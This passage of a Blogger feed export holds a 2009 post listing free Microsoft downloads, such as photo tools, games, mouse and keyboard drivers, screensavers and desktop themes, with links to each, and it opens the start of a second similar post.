href="http://www.microsoft.com/downloads/details.aspx?FamilyID=92755126-a008-49b3-b3f4-6f33852af9c1&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Photo Story&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; create slideshows using your digital photos. With a single click, you can touch-up, crop, or rotate pictures. Add stunning special effects, soundtracks, and your own voice narration to your photo stories. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=1B3C76D5-FC75-4F99-94BC-784919468E73&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Producer 2003&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; for users of PowerPoint 2002 &amp;amp; 2003, includes improved audio and video quality, better synchronization, and presentation-sharing tools.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=D48E808E-B10D-4CE4-A141-5866FD4A3286&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;RAW Image Thumbnailer and Viewer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; for serious photographers. Organize and work with digital RAW files in Windows Explorer, providing thumbnails, previews, printing, and metadata display for RAW images. (Support: &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c927cccf-4cb7-4f92-afaa-6f16663b23b4&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;White Paper&lt;/strong&gt;&lt;/a&gt;) &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/1/c/8/1c89697d-6354-4813-98da-e0dbb520de2c/WM9Powertoy_TweakMP.EXE"&gt;&lt;strong&gt;&lt;u&gt;TweakMediaPlayer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; gives access to advanced settings for the library, CD burning, and full-screen mode. Adjust music queuing in the library, automatic volume leveling for burning audio CDs, full-screen animations, and much more.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/research/downloads/download.aspx?FUID=ec37a62b-ce59-4aac-b0af-f465c63b026c"&gt;&lt;strong&gt;&lt;u&gt;Video Cube&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; loads an AVI movie file as a volume, and play back the movie sampling space and time in different ways. It also provides a single cutting plane for interactively viewing single spacetime slices of the video. (Support: &lt;a href="http://research.microsoft.com/research/pubs/view.aspx?msr_tr_id=MSR-TR-2001-45"&gt;&lt;strong&gt;Video Cubisum&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt; &lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;div&gt;&lt;strong&gt;GAMING&lt;/strong&gt; &lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/b/3/2/b3251b5b-76fb-46f7-bd6c-f5644713dff6/squiggles.exe"&gt;&lt;strong&gt;&lt;u&gt;3 Degrees&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &lt;span style="color: rgb(255, 255, 255);"&gt;connects people into a small group, so you can do fun things together. Throw animations to each others' desktops with winks. Listen together to a shared playlist created from music that you own with musicmix. &lt;div&gt; &lt;/div&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/c/b/4/cb4283ad-51ff-4534-a6f6-abdc6f31582e/Carioca%20Rummy-eng.msi"&gt;&lt;strong&gt;&lt;u&gt;Carioca Rummy Card Game&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a fun form of Contract Rummy popular in Argentina and Chile.&lt;/div&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.download.com/Game-Voice-Share/3000-2121-10266186.html?part=winmp&amp;amp;subj=dl&amp;amp;tag=feed&amp;amp;jump=winmp"&gt;&lt;strong&gt;&lt;u&gt;Game Voice Share&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Talk strategy to your teammates. Talk trash to your opponents. Game Voice brings the power of voice to games, whether you're online, on a LAN, or offline. (Support: &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;268300"&gt;&lt;strong&gt;How to . . .&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/genuine/offers/Details.aspx?displaylang=en&amp;amp;countrycode=USA&amp;amp;offerid=2bcf5b3d-6e09-4369-9649-f2e29f014c38"&gt;&lt;strong&gt;&lt;u&gt;Match-Up!&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Similar to the game "Concentration", test your memory and matching skills while racing against the clock.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=eae20f0f-c41c-44fe-84ce-1df707d7a2e9&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;SafeDisc&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; – When running a restricted user account with fast user switching under Windows XP, some games will not start correctly. The game requests that the original disk be placed in the drive, even if it is already present. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/0/b/7/0b71e9ca-0706-4d39-8221-0c9cb04e43a1/Xbox360_32Eng.exe"&gt;&lt;strong&gt;&lt;u&gt;XBox 360 Controller &amp;amp; Wireless Gaming Receiver for Windows XP &amp;amp; Windows Vista&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://download.microsoft.com/download/0/b/7/0b71e9ca-0706-4d39-8221-0c9cb04e43a1/Xbox360_64Eng.exe"&gt;&lt;strong&gt;Windows XP 64 &amp;amp; Windows Vista 64&lt;/strong&gt;&lt;/a&gt; (Support: &lt;a href="http://download.microsoft.com/download/2/1/4/2149274a-21d3-407b-8e44-19c1077180eb/ENG_Readme.txt"&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;All &lt;/strong&gt;&lt;a href="http://bhandler.spaces.live.com/Blog/cns%211pt1v0Q4vD8jSvNS4lqdAuug%21579.entry"&gt;&lt;strong&gt;Microsoft Free Game Demos&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;div&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;HARDWARE&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;strong&gt;Fingerprint Reader - &lt;/strong&gt;&lt;a href="http://download.microsoft.com/download/b/0/f/b0fee793-683c-42f4-9fdc-011cab5cc853/Setup.exe"&gt;&lt;strong&gt;&lt;u&gt;DigitalPersona Password Manager 2.0&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; (Support: &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;899626"&gt;&lt;strong&gt;How to . . .&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;Keyboard - &lt;/strong&gt;IntelliType 6.1 for &lt;a href="http://download.microsoft.com/download/9/0/1/901BBD58-043B-40C1-A2B2-7778A068A321/ITP32Eng.exe"&gt;&lt;strong&gt;&lt;u&gt;Windows XP &amp;amp; Windows Vista&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; and &lt;a href="http://download.microsoft.com/download/9/3/4/9343CC89-3D2A-4D6A-8F77-71E28E441857/ITP64Eng.exe"&gt;&lt;strong&gt;&lt;u&gt;Windows XP 64 &amp;amp; Windows Vista 64&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;Mouse &amp;amp; Trackball - &lt;/strong&gt;IntelliPoint 6.1 for &lt;a href="http://download.microsoft.com/download/4/F/1/4F107807-F6D4-4888-876E-BFEA17A1F1A2/IP32Eng.exe"&gt;&lt;strong&gt;&lt;u&gt;Windows XP &amp;amp; Windows Vista&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://download.microsoft.com/download/1/2/2/122C0592-D778-49A3-9538-670534C0FD6D/IP64Eng.exe"&gt;&lt;strong&gt;&lt;u&gt;Windows XP 64 &amp;amp; Windows Vista 64&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;  (Support: &lt;a href="http://support.microsoft.com/kb/258785/en-us"&gt;&lt;strong&gt;How to . . . &lt;/strong&gt;&lt;/a&gt;) -- &lt;strong&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;New&lt;/span&gt;&lt;/strong&gt; &lt;a href="http://www.razersupport.com/index.php?_m=downloads&amp;amp;_a=view&amp;amp;parentcategoryid=7&amp;amp;pcid=0&amp;amp;nav=0"&gt;&lt;strong&gt;&lt;u&gt;Habu Mice&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;Webcams&lt;/strong&gt; - LifeCam 1.21 for &lt;a href="http://download.microsoft.com/download/c/f/3/cf34583f-f873-4b8c-8b13-00d156f3af05/LifeCam1_21.exe"&gt;&lt;strong&gt;Windows XP &amp;amp; Windows Vista&lt;/strong&gt;&lt;/a&gt; &lt;/div&gt;&lt;/blockquote&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;SCREENSAVERS &amp;amp; THEMES&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=7a50a9f8-141e-4dc3-8894-4f4958a834a5&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;4 the Dogs (Patas)&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - Four themes with "mans best friend."&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/Miscellaneous/BlueScreen.mspx"&gt;&lt;strong&gt;BlueScreen of Death Screen Saver&lt;/strong&gt;&lt;/a&gt; (BSOD) Who say's Microsoft doesn't have a sense of humor?&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=5fe8dd40-b12a-4658-9f82-40bffc9c8439&amp;amp;displaylang=en"&gt;&lt;u&gt;&lt;strong&gt;Brazilian Beaches (Praias do Brasil)&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt; - Four of Brazil's famous beaches: Florianopolis, Buzios, Jericoacoara e Fernando de Noronha. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4f8891b3-b775-4338-869f-af281b7b656e&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Brazilian Carnival&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Three types of parties according to regions: Olinda, Salvador and Rio de Janeiro.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/globaldev/outreach/dnloads/ChineseNewYearTheme.mspx"&gt;&lt;strong&gt;&lt;u&gt;Chinese New Year Theme Pack 2006&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=e8ccd255-288c-4c33-879f-b9ce7d5fb08c&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Christmas Theme&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9d6ff805-e103-48ad-a921-ddbc26dd09e9&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Creativity Fun Pack PowerToys&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; automatically select images for your Desktop or Screen Saver.&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;Danish&lt;/u&gt;&lt;/strong&gt; &lt;a href="http://www.microsoft.com/globaldev/outreach/dnloads/danish_theme.mspx"&gt;&lt;strong&gt;&lt;u&gt;Spring&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.microsoft.com/globaldev/outreach/dnloads/danish_sum_theme.mspx"&gt;&lt;strong&gt;&lt;u&gt;Summer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; themes by photographers from the Nordic countries.&lt;/div&gt; &lt;div&gt; &lt;/div&gt;&lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;u&gt;Desktop Wallpapers&lt;/u&gt;&lt;/strong&gt; from Microsoft Employees: &lt;a href="http://blogs.msdn.com/mswanson/articles/wallpaper.aspx"&gt;&lt;strong&gt;Michael Swanson&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.arkhipov.com/Wallpaper/Wallpaper.aspx"&gt;&lt;strong&gt;Mikhail Arkhipov's&lt;/strong&gt;&lt;/a&gt; 1920 x 1200 (16:10 aspect ratio "widescreen") and 1600 x 1200 (4:3 aspect ratio "standard"), &lt;a href="http://www.photo.net/photodb/member-photos?user_id=847779&amp;amp;include=all,"&gt;&lt;strong&gt;Peggi Goodwin's&lt;/strong&gt;&lt;/a&gt; Gorgeous Nature Images (various resolution) and three from the &lt;a href="http://msexchangeteam.com/attachment/427824.ashx"&gt;&lt;strong&gt;Exchange Server Team&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=7c191ce7-9bfd-43f4-9c22-f6c830241e3f&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Dungeon Siege&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Screensaver from the magical Land of Ehb. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=837a8287-2a40-4140-8be7-751aa26b40bd&amp;amp;DisplayLang=en"&gt;&lt;u&gt;Egypt Nile Theme&lt;/u&gt;&lt;/a&gt;&lt;/strong&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=660deb5d-8ebd-4d86-b84f-c457e0219f06&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;European Union Flags Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windowsxp/downloads/desktop/finalfantasy.mspx"&gt;&lt;strong&gt;&lt;u&gt;Final Fantasy XI Desktop Theme&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/b/2/8/b28113fd-d2da-47ab-8fc1-14aae5b035d4/FSX_ScreenSaver.zip"&gt;&lt;strong&gt;&lt;u&gt;Flight Simulator X&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Screensaver&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=a12d27ca-6154-44f2-9547-78e18163a56a&amp;amp;DisplayLang=en"&gt;&lt;u&gt;&lt;strong&gt;Historical Monuments of Québec Theme&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=1214dbd2-7988-4a06-b510-e4cadbe9bead&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Holiday Snowflakes&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Screensaver.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=d219b9da-9bb2-42e1-9313-9af968b5d492&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Ireland Desktop Theme&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; by Fáilte Ireland and the Northern Ireland Tourist Board.&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/globaldev/outreach/dnloads/pasta.mspx"&gt;&lt;strong&gt;&lt;u&gt;Italian Pasta Theme Pack&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.  &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windowsxp/downloads/desktop/lotr.mspx"&gt;&lt;strong&gt;&lt;u&gt;The Lord of the Rings: The Battle for Middle Earth Skin for Windows Media Player 10&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; The skin was created in partnership with Electronic Arts and designed by The Skins Factory. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9a53f492-b999-465f-ac70-435536bafa33&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;MSN Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; personalize your screensaver with background photos, news and weather information from MSN or any RSS feeds from websites you choose.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=45fb253c-e3aa-4c5a-83be-bdd7b32c8583&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Nunavut&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;(Canadian Arctic Region)&lt;/strong&gt; - Desktop Theme &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=15373c73-d5f6-4af0-b583-d633cb021612&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;New Zealand Bliss&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; A special Queen's Birthday 2005 edition (&lt;a href="http://www.microsoft.com/nz/windowsxp/downloads/nzbliss.mspx"&gt;&lt;strong&gt;Preview Samples&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.download.com/Microsoft-Office-Dinosaur-Screensaver/3000-2407-10447510.html?part=winmp&amp;amp;subj=dl&amp;amp;tag=feed&amp;amp;jump=winmp"&gt;&lt;strong&gt;&lt;u&gt;Office Dinosaur Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;. Share the Microsoft Office Dino's pain as he dances his way through one embarrassing technological difficulty after another.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=af13e2a2-be69-4be7-8474-11a56b542fd8&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Ontario Canada&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - Desktop Theme&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;u&gt;Plus! Dancer LE&lt;/u&gt;&lt;/strong&gt; enables you to experience the fun of entertaining dancers that groove to beats of the music that's playing on your desktop.&lt;/div&gt; &lt;ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://download.microsoft.com/download/9/e/4/9e41e0a9-1eb7-4f57-8083-8a234aae4084/Cobey_DancerLE.exe"&gt;&lt;strong&gt;&lt;u&gt;Cobey&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; See Cobey get down to Hip Hop!  &lt;/li&gt;&lt;li&gt;&lt;a href="http://download.microsoft.com/download/9/e/4/9e41e0a9-1eb7-4f57-8083-8a234aae4084/EandM_DancerLE.exe"&gt;&lt;strong&gt;&lt;u&gt;Evan &amp;amp; Michele&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; Spice up your desktop with the sexy Argentinean tango.  &lt;/li&gt;&lt;li&gt;&lt;a href="http://download.microsoft.com/download/2/8/8/2888f044-5883-4f1b-982e-54b0a055d1fe/Scooby_DancerLE.exe"&gt;&lt;strong&gt;&lt;u&gt;Scooby-Doo&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; See Scooby-Doo do the Scooby Shuffle! &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt; &lt;p&gt;&lt;a href="http://www.microsoft.com/globaldev/outreach/dnloads/discover-pt.mspx"&gt;&lt;strong&gt;&lt;u&gt;Portuguese Discoveries Theme Pack&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; produced in cooperation with Protugal's National Library - Ministry of Culture.  &lt;/p&gt;&lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0016792b-46bd-4083-a10e-d9f01453fe3a&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Ree Ree Khao Sarn,&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; the traditional Thai children's game includes colorful wallpaper,icons and animated screensaver with sound, demonstrating children play. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.istartedsomething.com/20061029/royale-noir/"&gt;&lt;strong&gt;&lt;u&gt;Royale Noir:&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; "Secret" internal Microsoft XP Theme.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=6ca70c59-761f-4417-97d7-57b679862663&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;San Fermín Desktop Theme&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is specifically designed for the Spanish speaking community. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;amp;FamilyID=6015F85B-9A3A-4AEB-8E50-28005312398A"&gt;&lt;strong&gt;&lt;u&gt;Security Screensavers&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; two screen savers remind us of basic security practices -- &lt;u&gt;Ten Immutable Laws of Security&lt;/u&gt;, &amp;amp; &lt;u&gt;Ten Immutable Laws of Security Administration&lt;/u&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=07c8a9ce-badb-4710-987f-60ab5363f415&amp;amp;displaylang=en"&gt;&lt;u&gt;&lt;strong&gt;Thème Québec&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://bhandler.spaces.live.com/blog/cns%2170F64BC910C9F7F3%211867.entry"&gt;&lt;strong&gt;&lt;u&gt;TimeDimension Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; futuristic "clock" by Brazilian designer Hans Donner&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=de1d35e2-facb-487f-94d0-5d05457b1f4e&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Valentine's Day Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; celebrates (duh) Valentine's Day. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=6405ff4f-9bc4-40dd-aa30-ed4ffe02baac&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Video Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; includes sample movie footage of countries all over the world. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windowsxp/downloads/desktop/xpscreensaver.mspx"&gt;&lt;strong&gt;&lt;u&gt;Windows XP Screensaver&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://bhandler.spaces.live.com/blog/cns%2170F64BC910C9F7F3%211708.entry"&gt;&lt;strong&gt;&lt;u&gt;Windows Vista &lt;em&gt;Theme&lt;/em&gt; for Windows XP&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/C/2/F/C2F42F16-64C3-4074-B1E3-4721C82CC7D2/WinterFunPack2004forWindowsXP.msi"&gt;&lt;strong&gt;&lt;u&gt;Winter Fun Pack 2004&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; for Windows XP Installer.  &lt;div&gt; &lt;/div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0c0858e5-d551-4c76-a342-ea5de30bc7a1&amp;amp;DisplayLang=en"&gt;&lt;u&gt;&lt;strong&gt;Winter 2006 TechNet Scripting Games Screensaver&lt;/strong&gt;&lt;/u&gt;&lt;/a&gt;.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windowsxp/downloads/desktop/wowskin.mspx"&gt;&lt;strong&gt;&lt;u&gt;World of Warcraft Skin for Media Player 10&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - Blizzard's official World of Warcraft skin.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.xbox.com/en-us/downloads"&gt;&lt;strong&gt;&lt;u&gt;Xbox Screensavers, Desktops &amp;amp; Media Player skins&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/e/a/9/ea9af5ae-b48e-473e-85fe-dcde7472e644/ZuneDesktopTheme.msi"&gt;&lt;strong&gt;&lt;u&gt;Zune Desktop Theme&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8960798446916668235?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8960798446916668235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8960798446916668235' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8960798446916668235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8960798446916668235'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/04/free-downloads-from-microsoft-2.html' title='FREE DOWNLOADS FROM MICROSOFT-2'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2016511178061154921</id><published>2009-04-11T11:27:00.000+05:30</published><updated>2009-04-10T11:34:47.540+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Downloads'/><title type='text'>FREE DOWNLOADS FROM MICROSOFT</title><content type='html'>Microsoft has large range of free software around 150...i am trying to list here as many as possible...so enjoy!!&lt;br /&gt;you might want to check out my previous thread of free downloadable softs &lt;a href="http://ankitunleashed.blogspot.com/2008/12/opensource-softs-for-windows.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;WINDOWS  XP GOODIES &lt;/strong&gt; &lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/msagent/downloads/user.asp"&gt;&lt;strong&gt;&lt;u&gt;Agent&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; components provide animated characters (&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=da86ba4e-bc2d-4c1d-b5a0-3183fe206414&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Genie&lt;/strong&gt;&lt;/a&gt;,&lt;br /&gt;&lt;br /&gt; &lt;a 